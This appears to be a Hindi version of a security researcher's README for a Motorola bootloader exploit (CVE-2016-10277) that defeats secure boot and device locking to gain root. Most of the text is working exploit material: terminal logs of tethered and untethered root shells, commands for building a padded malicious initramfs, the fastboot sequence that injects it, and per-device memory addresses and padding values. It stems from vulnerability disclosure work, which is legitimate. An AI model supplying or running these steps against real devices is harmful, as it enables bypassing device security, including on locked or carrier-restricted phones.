
मोटोरोला अनटेथर्ड जेलब्रेक: सिक्योर बूट और डिवाइस लॉकिंग बाइपास के लिए CVE-2016-10277 का शोषण
Roee Hay / Aleph Research, HCL Technologies द्वारा
यह एक्सप्लॉइट डिवाइस पर अस्थायी, अप्रतिबंधित रूट एक्सेस प्राप्त करता है।
उदाहरण के लिए, cedric पर (कुछ संदेश पठनीयता के लिए हटा दिए गए हैं):
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0xA2100000,1588596
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [ 1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ #
यह एक्सप्लॉइट डिवाइस पर स्थायी रूट एक्सेस प्राप्त करता है।
उदाहरण के लिए, athene पर (पठनीयता के लिए कुछ संदेश हटा दिए गए हैं):
$ cd ./untethered/athene
$ ./initroot-untethered.sh
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a initrd=0x92000000,2505052
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [ 1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [ 0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader) <value>
(bootloader) a rdinit= root=/dev/mmcblk0p41
(bootloader) </value>
(bootloader) <description>
(bootloader) FSG IDs, see http://goo.gl/gPmhU
(bootloader) </description>
(bootloader) </UTAG>
OKAY [ 0.015s]
finished. total time: 0.015s
rebooting...
finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ #
initroot-<device>.cpio.gz का उपयोग करें, या अपना खुद का बनाएं:$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz && rm -fr ../tmp
$ cd ..
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
adb shell अब आपको रूट शेल देगा:$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
हमारा ब्लॉग पोस्ट पढ़ें
यह भेद्यता अन्य Motorola डिवाइसों को भी प्रभावित कर सकती है: एक भिन्न initramfs की आवश्यकता होगी। initrd का एक भिन्न भौतिक पता (SCRATCH_ADDR)। PADDING भी भिन्न हो सकता है।
| डिवाइस | कोडनेम | SCRATCH_ADDR | PADDING | कमिट किया गया initrams | अप्रयुक्त पार्टीशन |
|---|
| Nexus 6 | shamu | 0x11000000 | 0x0 | AOSP userdebug | mmcblk0p11 |
| Moto G5 (XT1676) | cedric | 0xA0100000 | 0x2000000 | रिलीज़; SELinux अक्षम करने, shell हेतु set{u,g}id, capabilities ड्रॉप और adb auth को हटाने के लिए init और adbd पैच किए गए, आदि | mmcblk0p41 |
| Moto G4 (XT1622) | athene | 0x90000000 | 0x2000000 | "" | mmcblk0p48 |
| डिवाइस | कोडनेम | SCRATCH_ADDR | रिपोर्टकर्ता | विवरण |
|---|
| Moto G5 Plus | potter | 0xA0100000 | drbeat | बूट प्रॉपर्टी इंजेक्ट की गई। [प्रमाण] |
| Moto G4 Play (XT1607) | harpia | 0x90000000 | m-mullins | Amazon XT1607 का पूर्ण एक्सप्लॉइटेशन। [प्रमाण] |
| Moto G4 Play (XT1609) | harpia | 0x90000000 | @utoprime | Verizon XT1609 का पूर्ण एक्सप्लॉइटेशन। [प्रमाण] |
| Moto G4 (XT1625) | athene | 0x90000000 | @EWorcel | इंजेक्ट किया गया initrd जिससे बूट लूप उत्पन्न हुए। [प्रमाण] |
| Moto G3 | osprey | 0x90000000 | @asiekierka | इंजेक्ट किया गया initrd जिससे बूट लूप उत्पन्न हुए। [प्रमाण] |
| Moto G2 (XT1072) | thea | 0x11000000 | @TheElix | इंजेक्ट किए गए initrd से बूट लूप उत्पन्न हुए। [प्रमाण] |
| Moto G (XT1032) | falcon_retfr | 0x11000000 | Pierre Zurek | 64MB पैडिंग के साथ पूर्ण एक्सप्लॉइटेशन [प्रमाण] |
| Moto E (XT830C) | condor_cdma | 0x0E000000 | fetcher | Tracfone/Verizon में लॉक XT830C का 32MB पैडिंग के साथ पूर्ण एक्सप्लॉइटेशन [प्रमाण] |
| अन्य | - | - | @jcase | [प्रमाण] |